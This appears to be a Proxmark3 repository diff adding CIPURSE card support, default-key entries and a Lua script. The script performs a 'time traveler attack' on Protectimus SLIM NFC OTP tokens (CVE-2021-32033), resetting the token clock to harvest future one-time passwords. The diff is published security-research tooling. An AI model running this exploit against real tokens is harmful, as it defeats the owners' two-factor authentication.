diff --git a/CHANGELOG.md b/CHANGELOG.md index 5e09e96b1..158adc6ef 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,10 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - FIXED 'hf desfire' changekey, GetUID, 3DES sesson key tweak. (@mwalker33) + - Fixed `hf fido` commands now works correctly (@merlokk) + - Moved / renamed `client/resource/fido2_defparams.json` -> `client/resource/hf_fido2_defparams.json` (@merlokk) + - Added `hf cipurse` commands to work with cipurse transport cards (@merlokk) - Added '--gap' option to lf em 410x sim for more control over sim data (@mwalker) - Changed `hf fido` - refactored load/save json objects (@iceman1001) - Moved / renamed `fido2.json` -> `client/resource/fido2_defparams.json` (@iceman1001) diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index 28edf7c2b..5c826790d 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -211,6 +211,8 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/fido/fidocore.c ${PM3_ROOT}/client/src/iso7816/apduinfo.c ${PM3_ROOT}/client/src/iso7816/iso7816core.c + ${PM3_ROOT}/client/src/cipurse/cipursecrypto.c + ${PM3_ROOT}/client/src/cipurse/cipursecore.c ${PM3_ROOT}/client/src/loclass/cipher.c ${PM3_ROOT}/client/src/loclass/cipherutils.c ${PM3_ROOT}/client/src/loclass/elite_crack.c @@ -242,6 +244,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/cmdhfepa.c ${PM3_ROOT}/client/src/cmdhffelica.c ${PM3_ROOT}/client/src/cmdhffido.c + ${PM3_ROOT}/client/src/cmdhfcipurse.c ${PM3_ROOT}/client/src/cmdhficlass.c ${PM3_ROOT}/client/src/cmdhfjooki.c ${PM3_ROOT}/client/src/cmdhflegic.c diff --git a/client/Makefile b/client/Makefile index 696b48f40..c0f87e0a7 100644 --- a/client/Makefile +++ b/client/Makefile @@ -473,6 +473,7 @@ SRCS = aiddesfire.c \ cmdhfemrtd.c \ cmdhffelica.c \ cmdhffido.c \ + cmdhfcipurse.c \ cmdhficlass.c \ cmdhflegic.c \ cmdhfjooki.c \ @@ -556,6 +557,8 @@ SRCS = aiddesfire.c \ fido/cose.c \ fido/cbortools.c \ fido/fidocore.c \ + cipurse/cipursecore.c \ + cipurse/cipursecrypto.c \ fileutils.c \ flash.c \ generator.c \ diff --git a/client/dictionaries/iclass_default_keys.dic b/client/dictionaries/iclass_default_keys.dic index 9f03720c9..17ece4798 100644 --- a/client/dictionaries/iclass_default_keys.dic +++ b/client/dictionaries/iclass_default_keys.dic @@ -11,4 +11,5 @@ F0E1D2C3B4A59687 # Kd from PicoPass 2k documentation 5CBCF1DA45D5FB4F # PicoPass Default Exchange Key 31ad7ebd2f282168 # From HID multiclassSE reader 6EFD46EFCBB3C875 # From pastebin: https://pastebin.com/uHqpjiuU -E033CA419AEE43F9 # From pastebin: https://pastebin.com/uHqpjiuU \ No newline at end of file +E033CA419AEE43F9 # From pastebin: https://pastebin.com/uHqpjiuU +2020666666668888 # iCopy-X diff --git a/client/dictionaries/t55xx_default_pwds.dic b/client/dictionaries/t55xx_default_pwds.dic index c04c53e4a..ce916dfe8 100644 --- a/client/dictionaries/t55xx_default_pwds.dic +++ b/client/dictionaries/t55xx_default_pwds.dic @@ -36,6 +36,8 @@ E9920427 575F4F4B # 50520901 +# iCopy-X +20206666 # Default pwd, simple: 00000000 11111111 diff --git a/client/luascripts/hf_14a_protectimus_nfc.lua b/client/luascripts/hf_14a_protectimus_nfc.lua new file mode 100644 index 000000000..2ff3fec06 --- /dev/null +++ b/client/luascripts/hf_14a_protectimus_nfc.lua @@ -0,0 +1,427 @@ +local cmds = require('commands') +local getopt = require('getopt') +local lib14a = require('read14a') +local utils = require('utils') +local ansicolors = require('ansicolors') + +copyright = '(c) 2021 SySS GmbH' +author = 'Matthias Deeg' +version = 'v0.8' +desc = [[ +This script can perform different operations on a Protectimus SLIM NFC +hardware token - including a time traveler attack. See: SYSS-2021-007 (CVE-2021-32033) +]] +example = [[ +-- default +script run hf_14a_protectimus_nfc +]] +usage = [[ +script run hf_14a_protectimus_nfc [-h | -i | -r | -t 2029-01-01T13:37:00+01:00] +]] +arguments = [[ +-h This help +-i Read token info (e.g. firmware version, OTP interval) +-r Read the current one-time password (OTP) +-t Perform a time traveler attack to a specific datetime (yyyy-mm-ddTHH:MM:SS+HO:MO) + e.g. 2029-01-01T13:37:00+01:00 +]] + +-- Some globals +local DEBUG = false -- the debug flag + +-- Defined operations +local READ_OTP = 1 -- read the one-time password +local READ_INFO = 2 -- read the NFC token info +local TIME_TRAVELER_ATTACK = 3 -- perform a time traveler attack + +-- A debug printout function +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while args[i] do + dbg(args[i]) + i = i + 1 + end + else + print('###', args) + end +end + +-- This is only meant to be used when errors occur +local function oops(err) + print('ERROR:', err) + core.clearCommandBuffer() + return nil, err +end + +-- Usage help +local function help() + print(copyright) + print(author) + print(version) + print(desc) + print(ansicolors.cyan .. 'Usage' .. ansicolors.reset) + print(usage) + print(ansicolors.cyan .. 'Arguments' .. ansicolors.reset) + print(arguments) + print(ansicolors.cyan .. 'Example usage' .. ansicolors.reset) + print(example) +end + +-- Get the Unix time (epoch) for a datetime string (yyyy-mm-ddTHH:MM:SS+HO:MO) +function getUnixTime(datetime) + + -- get time delta regarding Coordinated Universal Time (UTC) + local now_local = os.time() + local time_delta_to_utc = os.difftime(now_local, os.time(os.date("!*t", now_local))) + local hour_offset, minute_offset = math.modf(time_delta_to_utc / 3600) + + -- try to match datetime pattern "yyyy-mm-ddTHH:MM:SS" + local datetime_pattern = "(%d+)-(%d+)-(%d+)T(%d+):(%d+):(%d+)+(%d+):(%d+)" + local new_year, new_month, new_day, new_hour, new_minute, new_seconds, new_hour_offset, new_minute_offset = datetime:match(datetime_pattern) + + if new_year == nil or new_month == nil or new_day == nil or + new_hour == nil or new_minute == nil or new_seconds == nil or + new_hour_offset == nil or new_minute_offset == nil then + + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not parse the given datetime\n" .. + " Use the following format: yyyy-mm-ddTHH:MM:SS+HO:MO\n" .. + " e.g. 2029-01-01T13:37:00+01:00") + return nil + end + + -- get the requested datetime as Unix time (UTC) + local epoch = os.time({year = new_year, month = new_month, day = new_day, hour = new_hour + hour_offset - new_hour_offset, + min = new_minute + minute_offset - new_minute_offset, sec = new_seconds}) + + return epoch +end + +-- Send a "raw" IOS 14443-A package, i.e. "hf 14a raw" command +function sendRaw(rawdata, options) + + -- send raw + local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT + + lib14a.ISO14A_COMMAND.ISO14A_RAW + + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC + + local command = Command:newMIX{ + cmd = cmds.CMD_HF_ISO14443A_READER, + + -- arg1 is the defined flags for sending "raw" ISO 14443A package + arg1 = flags, + + -- arg2 contains the length, which is half the length of the ASCII + -- string data + arg2 = string.len(rawdata) / 2, + data = rawdata + } + + return command:sendMIX(options.ignore_response) +end + +-- Read the current one-time password (OTP) +function readOTP(show_output) + -- read OTP command + local cmd = "028603420042" + local otp_value = '' + + if show_output then + print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read one-time password (OTP)") + end + + -- send the raw command + res, err = sendRaw(cmd , {ignore_response = ignore_response}) + if err then + lib14a.disconnect() + return oops(err) + end + + -- parse the response + local cmd_response = Command.parse(res) + local len = tonumber(cmd_response.arg1) * 2 + local data = string.sub(tostring(cmd_response.data), 0, len - 4) + + -- check the response + if len == 0 then + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP") + return nil + end + + if data:sub(0, 8) == "02AA0842" then + -- extract the binary-coded decimal (BCD) OTP value from the response + for i = 10, #data - 2, 2 do + local c = data:sub(i, i) + otp_value = otp_value .. c + end + + -- show the output if requested + if show_output then + print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] OTP: " .. ansicolors.green .. otp_value .. ansicolors.reset) + end + else + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the OTP") + otp_value = nil + end + + return otp_value +end + +-- Read token info +function readInfo(show_output) + -- read info command + local cmd = "0286021010" + + if show_output then + print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Try to read token info") + end + + -- send the raw command + res, err = sendRaw(cmd , {ignore_response = ignore_response}) + if err then + lib14a.disconnect() + return oops(err) + end + + -- parse the response + local cmd_response = Command.parse(res) + local len = tonumber(cmd_response.arg1) * 2 + local data = string.sub(tostring(cmd_response.data), 0, len - 4) + + -- check the response + if len == 0 then + print("[-] Error: Could not read the token info") + return nil + end + + if data:sub(0, 8) == "02AA0B10" then + -- extract the token info from the response + local hardware_schema = tonumber(data:sub(11, 12)) + local firmware_version_major = tonumber(data:sub(13, 14)) + local firmware_version_minor = tonumber(data:sub(13, 14)) + local hardware_rtc = tonumber(data:sub(19, 20)) + local otp_interval = tonumber(data:sub(23, 24)) + + local info = "[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Token info\n" .. + " Hardware schema: " .. ansicolors.green .. "%s" .. ansicolors.reset .."\n" .. + " Firmware version: " .. ansicolors.green .. "%s.%s" .. ansicolors.reset .. "\n" .. + " Hardware RTC: " .. ansicolors.green .. "%s" .. ansicolors.reset .. "\n" .. + " OTP interval: " .. ansicolors.green .. "%s" .. ansicolors.reset + + -- check hardware real-time clock (RTC) + if hardware_rtc == 1 then + hardware_rtc = true + else + hardware_rtc = false + end + + -- check one-time password interval + if otp_interval == 0 then + otp_interval = '30' + elseif otp_interval == 10 then + otp_interval = '60' + else + otp_interval = 'unknown' + end + + if show_output then + -- show the token info + print(string.format(info, hardware_schema, firmware_version_major, + firmware_version_minor, hardware_rtc, + otp_interval)) + end + + return otp_interval + else + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: Could not read the token info") + otp_value = nil + end + + return info +end + +-- Bruteforce commands +function bruteforceCommands() + -- read OTP command + local cmd = '' + + if show_output then + print("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Bruteforce commands") + end + + for n = 0, 255 do + cmd = string.format("028602%d%d", n) + + print(string.format("[+] Send command %s", cmd)) + + -- send the raw command + res, err = sendRaw(cmd , {ignore_response = ignore_response}) + if err then + lib14a.disconnect() + return oops(err) + end + + -- parse the response + local cmd_response = Command.parse(res) + local len = tonumber(cmd_response.arg1) * 2 + local data = string.sub(tostring(cmd_response.data), 0, len - 4) + + -- check the response + if len == 0 then + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No response") + else + print(data) + end + + io.read(1) + end +end + + +-- Set an arbitrary Unix time (epoch) +function setTime(time, otp_interval) + -- calculate the two required time variables + local time_var1 = math.floor(time / otp_interval) + local time_var2 = math.floor(time % otp_interval) + + -- build the raw command data + local data = "120000" ..string.format("%02x", otp_interval) .. string.format("%08x", time_var1) .. string.format("%02x", time_var2) + + -- calculate XOR checksum on data + local checksum = 0 + for i = 1, #data, 2 do + local c = data:sub(i, i + 1) + checksum = bit32.bxor(checksum , tonumber(c, 16)) + end + + -- build the complete raw command + local cmd = "0286" .. string.format("%02x", string.len(data) / 2 + 1) .. data .. string.format("%02x", checksum) + + print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Set Unix time " .. ansicolors.yellow .. "%d" .. ansicolors.reset, time)) + + -- send raw command + res, err = sendRaw(cmd , {ignore_response = ignore_response}) + if err then + lib14a.disconnect() + return oops(err) + end + + -- parse the response + local cmd_response = Command.parse(res) + local len = tonumber(cmd_response.arg1) * 2 + local data = string.sub(tostring(cmd_response.data), 0, len - 4) +end + +-- Set the current time +function setCurrentTime(otp_interval) + -- get the current Unix time (epoch) + local current_time = os.time(os.date("*t")) + setTime(current_time, otp_interval) +end + +-- Perform a time travel attack for generating a future OTP +function timeTravelAttack(datetime_string, otp_interval) + if nil == datetime_string then + print("[" .. ansicolors.red .. "-" .. ansicolors.reset .."] Error: No valid datetime string given") + return nil + end + + -- get the future time as Unix time + local future_time = getUnixTime(datetime_string) + + if nil == future_time then + return + end + + -- set the future time + setTime(future_time, otp_interval) + + print("[" .. ansicolors.red .. "!" .. ansicolors.reset .. "] Please power the token and press ") + -- while loop do + io.read(1) + + -- read the OTP + local otp = readOTP(false) + print(string.format("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] The future OTP on " .. + ansicolors.yellow .. "%s (%d) " .. ansicolors.reset .. "is " .. + ansicolors.green .. "%s" .. ansicolors.reset, datetime_string, future_time, otp)) + + -- reset the current time + setCurrentTime(otp_interval) +end + +-- Show a fancy banner +function banner() + print(string.format("Proxmark3 Protectimus SLIM NFC Script %s by Matthias Deeg - SySS GmbH\n" .. + "Perform different operations on a Protectimus SLIM NFC hardware token", version)) +end + +-- The main entry point +function main(args) + local ignore_response = false + local no_rats = false + local operation = READ_OTP + local target_time = nil + + -- show a fancy banner + banner() + + -- read the parameters + for o, a in getopt.getopt(args, 'hirt:b') do + if o == 'h' then return help() end + if o == 'i' then operation = READ_INFO end + if o == 'r' then operation = READ_OTP end + if o == 't' then + operation = TIME_TRAVELER_ATTACK + target_time = a + end + if o == 'b' then bruteforceCommands() end + end + + -- connect to the TOTP hardware token + info, err = lib14a.read(true, no_rats) + if err then + lib14a.disconnect() + return oops(err) + end + + -- show tag info + print(("[" .. ansicolors.green .. "+" .. ansicolors.reset .. "] Found token with UID " .. ansicolors.green .. "%s" .. ansicolors.reset):format(info.uid)) + + -- perform the requested operation + if operation == READ_OTP then + readOTP(true) + elseif operation == READ_INFO then + readInfo(true) + elseif operation == TIME_TRAVELER_ATTACK then + -- read token info and get OTP interval + local otp_interval = readInfo(false) + if nil == otp_interval then + return + end + -- perform time traveler attack + timeTravelAttack(target_time, otp_interval) + end + + -- disconnect + lib14a.disconnect() +end + +------------------------- +-- Testing +------------------------- +function selftest() + DEBUG = true + dbg('Performing test') + main() + dbg('Tests done') +end +-- Flip the switch here to perform a sanity check. +-- It read a nonce in two different ways, as specified in the usage-section +if '--test' == args then + selftest() +else + -- Call the main + main(args) +end diff --git a/client/resources/aidlist.json b/client/resources/aidlist.json index ec88ebdfc..ff709d710 100644 --- a/client/resources/aidlist.json +++ b/client/resources/aidlist.json @@ -839,6 +839,14 @@ "Description": "PIV Authentication Key", "Type": "" }, + { + "AID": "A0000006472F0001", + "Vendor": "FIDO authenticator", + "Country": "global", + "Name": "U2F/FIDO2 authenticator", + "Description": "U2F and/or FIDO2 authenticator", + "Type": "" + }, { "AID": "A000000116DB00", "Vendor": "GSA - TFCS", diff --git a/client/resources/fido2_defparams.json b/client/resources/hf_fido2_defparams.json similarity index 100% rename from client/resources/fido2_defparams.json rename to client/resources/hf_fido2_defparams.json diff --git a/client/src/cipurse/cipursecore.c b/client/src/cipurse/cipursecore.c new file mode 100644 index 000000000..03ab558af --- /dev/null +++ b/client/src/cipurse/cipursecore.c @@ -0,0 +1,383 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2021 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// CIPURSE transport cards data and commands +//----------------------------------------------------------------------------- + +#include "cipursecore.h" + +#include "commonutil.h" // ARRAYLEN +#include "comms.h" // DropField +#include "util_posix.h" // msleep +#include // memcpy memset + +#include "cmdhf14a.h" +#include "emv/emvcore.h" +#include "emv/emvjson.h" +#include "ui.h" +#include "util.h" + +// context for secure channel +CipurseContext cipurseContext; + +static int CIPURSEExchangeEx(bool ActivateField, bool LeaveFieldON, sAPDU apdu, bool IncludeLe, uint16_t Le, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + uint8_t data[APDU_RES_LEN] = {0}; + uint8_t securedata[APDU_RES_LEN] = {0}; + sAPDU secapdu; + + *ResultLen = 0; + if (sw) *sw = 0; + uint16_t isw = 0; + int res = 0; + + if (ActivateField) { + DropField(); + msleep(50); + } + + // long messages is not allowed + if (apdu.Lc > 228) + return 20; + + // COMPUTE APDU + int datalen = 0; + uint16_t xle = IncludeLe ? 0x100 : 0x00; + if (xle == 0x100 && Le != 0) + xle = Le; + + CipurseCAPDUReqEncode(&cipurseContext, &apdu, &secapdu, securedata, IncludeLe, Le); + + if (APDUEncodeS(&secapdu, false, xle, data, &datalen)) { + PrintAndLogEx(ERR, "APDU encoding error."); + return 201; + } + + if (GetAPDULogging()) + PrintAndLogEx(SUCCESS, ">>>> %s", sprint_hex(data, datalen)); + + res = ExchangeAPDU14a(data, datalen, ActivateField, LeaveFieldON, Result, (int)MaxResultLen, (int *)ResultLen); + if (res) { + return res; + } + + if (GetAPDULogging()) + PrintAndLogEx(SUCCESS, "<<<< %s", sprint_hex(Result, *ResultLen)); + + if (*ResultLen < 2) { + return 200; + } + + size_t rlen = 0; + if (*ResultLen == 2) { + if (cipurseContext.RequestSecurity == CPSMACed || cipurseContext.RequestSecurity == CPSEncrypted) + CipurseCClearContext(&cipurseContext); + + isw = Result[0] * 0x0100 + Result[1]; + } else { + CipurseCAPDURespDecode(&cipurseContext, Result, *ResultLen, securedata, &rlen, &isw); + memcpy(Result, securedata, rlen); + } + + if (ResultLen != NULL) + *ResultLen = rlen; + + if (sw != NULL) + *sw = isw; + + if (isw != 0x9000) { + if (GetAPDULogging()) { + if (*sw >> 8 == 0x61) { + PrintAndLogEx(ERR, "APDU chaining len:%02x -->", *sw & 0xff); + } else { + PrintAndLogEx(ERR, "APDU(%02x%02x) ERROR: [%4X] %s", apdu.CLA, apdu.INS, isw, GetAPDUCodeDescription(*sw >> 8, *sw & 0xff)); + return 5; + } + } + } + + return PM3_SUCCESS; +} + +static int CIPURSEExchange(sAPDU apdu, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchangeEx(false, true, apdu, true, 0, Result, MaxResultLen, ResultLen, sw); +} + +int CIPURSESelect(bool ActivateField, bool LeaveFieldON, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + uint8_t data[] = {0x41, 0x44, 0x20, 0x46, 0x31}; + CipurseCClearContext(&cipurseContext); + + return EMVSelect(CC_CONTACTLESS, ActivateField, LeaveFieldON, data, sizeof(data), Result, MaxResultLen, ResultLen, sw, NULL); +} + +int CIPURSEChallenge(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x84, 0x00, 0x00, 0x00, NULL}, true, 0x16, Result, MaxResultLen, ResultLen, sw); +} + +int CIPURSEMutalAuthenticate(uint8_t keyIndex, uint8_t *params, uint8_t paramslen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0x82, 0x00, keyIndex, paramslen, params}, true, 0x10, Result, MaxResultLen, ResultLen, sw); +} + +int CIPURSECreateFile(uint8_t *attr, uint16_t attrlen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xe4, 0x00, 0x00, attrlen, attr}, false, 0, Result, MaxResultLen, ResultLen, sw); +} + +int CIPURSEDeleteFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + uint8_t fileIdBin[] = {fileID >> 8, fileID & 0xff}; + return CIPURSEExchangeEx(false, true, (sAPDU) {0x00, 0xe4, 0x00, 0x00, 02, fileIdBin}, false, 0, Result, MaxResultLen, ResultLen, sw); +} + +int CIPURSESelectFile(uint16_t fileID, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + uint8_t fileIdBin[] = {fileID >> 8, fileID & 0xff}; + return CIPURSEExchange((sAPDU) {0x00, 0xa4, 0x00, 0x00, 02, fileIdBin}, Result, MaxResultLen, ResultLen, sw); +} + +int CIPURSESelectMFFile(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchange((sAPDU) {0x00, 0xa4, 0x00, 0x00, 0, NULL}, Result, MaxResultLen, ResultLen, sw); +} + +int CIPURSEReadFileAttributes(uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchange((sAPDU) {0x80, 0xce, 0x00, 0x00, 0, NULL}, Result, MaxResultLen, ResultLen, sw); +} + +int CIPURSEReadBinary(uint16_t offset, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchange((sAPDU) {0x00, 0xb0, (offset >> 8) & 0x7f, offset & 0xff, 0, NULL}, Result, MaxResultLen, ResultLen, sw); +} + +int CIPURSEUpdateBinary(uint16_t offset, uint8_t *data, uint16_t datalen, uint8_t *Result, size_t MaxResultLen, size_t *ResultLen, uint16_t *sw) { + return CIPURSEExchange((sAPDU) {0x00, 0xd6, (offset >> 8) & 0x7f, offset & 0xff, datalen, data}, Result, MaxResultLen, ResultLen, sw); +} + +bool CIPURSEChannelAuthenticate(uint8_t keyIndex, uint8_t *key, bool verbose) { + uint8_t buf[APDU_RES_LEN] = {0}; + size_t len = 0; + uint16_t sw = 0; + + CipurseContext cpc = {0}; + CipurseCSetKey(&cpc, keyIndex, key); + + // get RP, rP + int res = CIPURSEChallenge(buf, sizeof(buf), &len, &sw); + if (res != 0 || len != 0x16) { + if (verbose) + PrintAndLogEx(ERR, "Cipurse get challenge " _RED_("error") ". Card returns 0x%04x.", sw); + + return false; + } + CipurseCSetRandomFromPICC(&cpc, buf); + + // make auth data + uint8_t authparams[16 + 16 + 6] = {0}; + CipurseCAuthenticateHost(&cpc, authparams); + + // authenticate + res = CIPURSEMutalAuthenticate(keyIndex, authparams, sizeof(authparams), buf, sizeof(buf), &len, &sw); + if (res != 0 || sw != 0x9000 || len != 16) { + if (sw == 0x6988) { + if (verbose) + PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key."); + } else if (sw == 0x6A88) { + if (verbose) + PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Wrong key number."); + } else { + if (verbose) + PrintAndLogEx(ERR, "Cipurse authentication " _RED_("error") ". Card returns 0x%04x.", sw); + } + + CipurseCClearContext(&cipurseContext); + return false; + } + + if (CipurseCCheckCT(&cpc, buf)) { + if (verbose) + PrintAndLogEx(INFO, "Authentication " _GREEN_("OK")); + + CipurseCChannelSetSecurityLevels(&cpc, CPSMACed, CPSMACed); + memcpy(&cipurseContext, &cpc, sizeof(CipurseContext)); + return true; + } else { + if (verbose) + PrintAndLogEx(ERR, "Authentication " _RED_("ERROR") " card returned wrong CT"); + + CipurseCClearContext(&cipurseContext); + return false; + } +} + +void CIPURSECSetActChannelSecurityLevels(CipurseChannelSecurityLevel req, CipurseChannelSecurityLevel resp) { + CipurseCChannelSetSecurityLevels(&cipurseContext, req, resp); +} + +static void CIPURSEPrintPersoMode(uint8_t data) { + if (data & 0x01) + PrintAndLogEx(INFO, "Perso: filesystem"); + if (data & 0x02) + PrintAndLogEx(INFO, "Perso: EMV"); + if (data & 0x04) + PrintAndLogEx(INFO, "Perso: transaction supported"); + +} + +static void CIPURSEPrintProfileInfo(uint8_t data) { + if (data & 0x01) + PrintAndLogEx(INFO, "Profile: L"); + if (data & 0x02) + PrintAndLogEx(INFO, "Profile: S"); + if (data & 0x04) + PrintAndLogEx(INFO, "Profile: T"); +} + +static void CIPURSEPrintManufacturerInfo(uint8_t data) { + if (data == 0) + PrintAndLogEx(INFO, "Manufacturer: n/a"); + else + PrintAndLogEx(INFO, "Manufacturer: %s", getTagInfo(data)); // getTagInfo from cmfhf14a.h +} + +void CIPURSEPrintInfoFile(uint8_t *data, size_t len) { + if (len < 2) { + PrintAndLogEx(ERR, "Info file length " _RED_("ERROR")); + return; + } + + PrintAndLogEx(INFO, "------------ INFO ------------"); + PrintAndLogEx(INFO, "CIPURSE version %d revision %d", data[0], data[1]); + + if (len >= 3) + CIPURSEPrintPersoMode(data[2]); + + if (len >= 4) + CIPURSEPrintProfileInfo(data[3]); + + if (len >= 9) + CIPURSEPrintManufacturerInfo(data[8]); +} + +static void CIPURSEPrintFileDescriptor(uint8_t desc) { + if (desc == 0x01) + PrintAndLogEx(INFO, "Binary file"); + else if (desc == 0x11) + PrintAndLogEx(INFO, "Binary file with transactions"); + else if (desc == 0x02) + PrintAndLogEx(INFO, "Linear record file"); + else if (desc == 0x12) + PrintAndLogEx(INFO, "Linear record file with transactions"); + else if (desc == 0x06) + PrintAndLogEx(INFO, "Cyclic record file"); + else if (desc == 0x16) + PrintAndLogEx(INFO, "Cyclic record file with transactions"); + else if (desc == 0x1E) + PrintAndLogEx(INFO, "Linear value-record file"); + else if (desc == 0x1F) + PrintAndLogEx(INFO, "Linear value-record file with transactions"); + else + PrintAndLogEx(INFO, "Unknown file 0x%02x", desc); +} + +static void CIPURSEPrintKeyAttrib(uint8_t *attr) { + PrintAndLogEx(INFO, "-------- KEY ATTRIBUTES --------"); + PrintAndLogEx(INFO, "Additional info: 0x%02x", attr[0]); + PrintAndLogEx(INFO, "Key length: %d", attr[1]); + PrintAndLogEx(INFO, "Algorithm ID: 0x%02x", attr[2]); + PrintAndLogEx(INFO, "Security attr: 0x%02x", attr[3]); + PrintAndLogEx(INFO, "KVV: 0x%02x%02x%02x", attr[4], attr[5], attr[6]); + PrintAndLogEx(INFO, "-------------------------------"); +} + +void CIPURSEPrintFileAttr(uint8_t *fileAttr, size_t len) { + if (len < 7) { + PrintAndLogEx(ERR, "Attributes length " _RED_("ERROR")); + return; + } + + PrintAndLogEx(INFO, "--------- FILE ATTRIBUTES ---------"); + if (fileAttr[0] == 0x38) { + PrintAndLogEx(INFO, "Type: MF, ADF"); + if (fileAttr[1] == 0x00) { + PrintAndLogEx(INFO, "Type: MF"); + } else { + if ((fileAttr[1] & 0xe0) == 0x00) + PrintAndLogEx(INFO, "Type: Unknown"); + if ((fileAttr[1] & 0xe0) == 0x20) + PrintAndLogEx(INFO, "Type: CIPURSE L"); + if ((fileAttr[1] & 0xe0) == 0x40) + PrintAndLogEx(INFO, "Type: CIPURSE S"); + if ((fileAttr[1] & 0xe0) == 0x60) + PrintAndLogEx(INFO, "Type: CIPURSE T"); + if ((fileAttr[1] & 0x02) == 0x00) + PrintAndLogEx(INFO, "Autoselect on PxSE select OFF"); + else + PrintAndLogEx(INFO, "Autoselect on PxSE select ON"); + if ((fileAttr[1] & 0x01) == 0x00) + PrintAndLogEx(INFO, "PxSE select returns FCPTemplate OFF"); + else + PrintAndLogEx(INFO, "PxSE select returns FCPTemplate ON"); + } + + PrintAndLogEx(INFO, "File ID: 0x%02x%02x", fileAttr[2], fileAttr[3]); + + PrintAndLogEx(INFO, "Maximum number of custom EFs: %d", fileAttr[4]); + PrintAndLogEx(INFO, "Maximum number of EFs with SFID: %d", fileAttr[5]); + uint8_t keyNum = fileAttr[6]; + PrintAndLogEx(INFO, "Keys assigned: %d", keyNum); + + if (len >= 9) { + PrintAndLogEx(INFO, "SMR entries: %02x%02x", fileAttr[7], fileAttr[8]); + } + + if (len >= 10 + keyNum + 1) { + PrintAndLogEx(INFO, "ART: %s", sprint_hex(&fileAttr[9], keyNum + 1)); + } + + if (len >= 11 + keyNum + 1 + keyNum * 7) { + for (int i = 0; i < keyNum; i++) { + PrintAndLogEx(INFO, "Key %d Attributes: %s", i, sprint_hex(&fileAttr[11 + keyNum + 1 + i * 7], 7)); + CIPURSEPrintKeyAttrib(&fileAttr[11 + keyNum + 1 + i * 7]); + } + } + // MF + if (fileAttr[1] == 0x00) { + PrintAndLogEx(INFO, "Total memory size: %d", (fileAttr[len - 6] << 16) + (fileAttr[len - 1] << 5) + fileAttr[len - 4]); + PrintAndLogEx(INFO, "Free memory size: %d", (fileAttr[len - 3] << 16) + (fileAttr[len - 2] << 8) + fileAttr[len - 1]); + + } else { + int ptr = 11 + keyNum + 1 + keyNum * 7; + if (len > ptr) + PrintAndLogEx(INFO, "TLV file control: %s", sprint_hex(&fileAttr[ptr], len - ptr)); + } + } else { + PrintAndLogEx(INFO, "Type: EF"); + CIPURSEPrintFileDescriptor(fileAttr[0]); + if (fileAttr[1] == 0) + PrintAndLogEx(INFO, "SFI: not assigned"); + else + PrintAndLogEx(INFO, "SFI: 0x%02x", fileAttr[1]); + + PrintAndLogEx(INFO, "File ID: 0x%02x%02x", fileAttr[2], fileAttr[3]); + + if (fileAttr[0] == 0x01 || fileAttr[0] == 0x11) + PrintAndLogEx(INFO, "File size: %d", (fileAttr[4] << 8) + fileAttr[5]); + else + PrintAndLogEx(INFO, "Record num: %d record size: %d", fileAttr[4], fileAttr[5]); + + PrintAndLogEx(INFO, "Keys assigned: %d", fileAttr[6]); + + if (len >= 9) { + PrintAndLogEx(INFO, "SMR entries: %02x%02x", fileAttr[7], fileAttr[8]); + } + + if (len >= 10) { + PrintAndLogEx(INFO, "ART: %s", sprint_hex(&fileAttr[9], len - 9)); + if (fileAttr[6] + 1 != len - 9) + PrintAndLogEx(WARNING, "ART length is wrong"); + } + + } + + +} + + diff --git a/client/src/cipurse/cipursecore.h b/client/src/cipurse/cipursecore.h new file mode 100644 index 000000000..7ace29ea5 --- /dev/null +++ b/client/src/cipurse/cipursecore.h @@ -0,0 +1,44 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2021 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. 